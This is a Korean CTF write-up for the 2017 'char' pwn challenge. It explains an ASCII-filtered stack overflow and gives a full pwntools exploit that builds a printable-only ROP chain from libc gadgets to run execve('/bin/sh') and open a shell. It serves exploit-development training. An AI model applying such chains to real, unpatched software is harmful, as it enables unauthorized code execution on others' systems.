[0 2017 CTF] char
# file char
char: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=4b292f5bfd7089a2fe69a25677f42a25e7c2b3df, stripped
[*] '/ctf/char'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
NX 가 걸려있는 32bit 바이너리이다.
바이너리 분석에 큰 어려움은 없다.
가장 먼저 "/home/char/libc.so" 파일을 0x5555e000 메모리 위치에 대응시킨 후 사용자로부터 입력을 받는다.
36byte 를 입력해주면 RET 까지 조작이 가능한데 문제는 ascii_filter 부분이다. 해당 입력 값이 0x1f ~ 0x7e 가 아니면 프로세스를 종료한다.
따라서, 우리는 0x5555e000 에 매핑되어있는 라이브러리 주소에서 shellcode 로 쓸만한 gadget 을 찾아줘야 한다.
상당히 귀찮음... 아무튼 gadget 을 찾아서 /bin/sh shellcode 를 만들면 된다.
# exploit.py
from pwn import *
context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./char')
p = process('./char')
libc_base = 0x5555e000
# ecx gadget
ecx_gadget_1 = libc_base + 0x174a51
ecx_gadget_2 = libc_base + 0x10506d
# edx gadget
edx_gadget_1 = libc_base + 0x95555
edx_gadget_2 = libc_base + 0x1415c
edx_gadget_3 = libc_base + 0x9892d
# ebx gadget
ebx_gadget_1 = libc_base + 0x1706b
# /bin/sh offset = 0x15d7ec -> libc_base + 0x15d7ec = 556bb7ec
calc_binsh_1 = 0x77775070
calc_binsh_2 = 0x556b677c
calc_binsh_3 = libc_base + 0xd6e43
calc_binsh_4 = libc_base + 0x9843e
# int 0x80
call_execve = libc_base + 0x109177
inc_eax = libc_base + 0xe6263
payload = 'A'*32
# set ecx = 0
payload += p32(ecx_gadget_1) # pop ecx ; add al, 0x0A ; ret ;
payload += p32(0x35353535)
payload += p32(ecx_gadget_2) # and ecx, 0xC0000000 ; and edx, 0x000000FF ; cmp ecx, 0x80000000 ; cmovne eax, edx ; ret ;
# set edx = 0
payload += p32(edx_gadget_1) # pop edx ; xor eax, eax ; pop edi ; ret ;
payload += p32(edx_gadget_2) # add BYTE PTR [eax], al -> 0x00000000
payload += p32(edx_gadget_2)
payload += p32(edx_gadget_3) # mov edx, DWORD PTR [edx] ; xor eax, eax ; test edx, edx ; sete al ; repz ret ;
# set ebx = &'/bin/sh', eax = 0
payload += p32(ebx_gadget_1) # pop eax; pop ebx; pop esi; pop edi; pop ebp; ret;
payload += p32(calc_binsh_1)
payload += p32(calc_binsh_2)
payload += 'AAAA'*3
payload += p32(calc_binsh_3) # add bh, ah ; ret ;
payload += p32(calc_binsh_4) # add bl, al ; xor eax, eax ; ret ;
# eax = 11
payload += p32(inc_eax)*11 # inc eax ; ret ;
# int $0x80
payload += p32(call_execve) # int $0x80
print len(payload)
print payload
print p.recvuntil('GO : )')
raw_input('>')
p.sendline(payload)
p.interactive()